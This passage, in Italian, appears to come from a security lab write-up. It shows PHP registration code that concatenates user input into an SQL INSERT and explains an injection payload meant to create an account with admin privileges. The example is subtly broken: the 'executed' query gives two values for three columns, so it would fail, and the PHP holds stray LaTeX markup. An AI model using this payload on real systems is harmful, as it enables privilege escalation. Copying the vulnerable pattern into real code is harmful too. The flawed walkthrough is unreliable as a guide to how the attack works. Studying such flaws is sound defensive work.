            VALUES ('" . $username . "','" . $password . "',false);";

        if ($db->query($sql) === TRUE) {
            echo '<div class="alert alert-success" role="alert">Ti
                sei registrato! Puoi ora fare login</div>';
        } else {
            echo '<div class="alert alert-danger" role="alert">Error:
                ' . $\texttt{SQL} . "<br>" . $db->error . "</div>";
        }
        $db->close();
    }
?>
```

Analisi della Vulnerabilità

La query `SQL` costruita dal codice è la seguente:

```
INSERT INTO users(username, password, admin) VALUES ('" . $username .
    "','" . $password . "', false);
```

Poiché le variabili `$username` e `$password` sono inserite direttamente nella query senza sanificazione, un utente malintenzionato può iniettare codice `SQL` per alterare la logica della query. Ad esempio, se un attaccante inserisce la stringa `attacker', true) - -` come `username`, il codice risultante sarà:

```
INSERT INTO users(username, password, admin) VALUES ('attacker',true)
    -- -', 'password', false);
```

In questo modo, la query effettivamente eseguita diventa:

```
INSERT INTO users(username, password, admin) VALUES ('attacker',
    true);
```

L'uso del commento, ignora tutto ciò che segue, inclusa la parte che imposta `admin` a `false`. Di conseguenza, l'utente `attacker` viene creato con privilegi di amministratore, bypassando le restrizioni previste.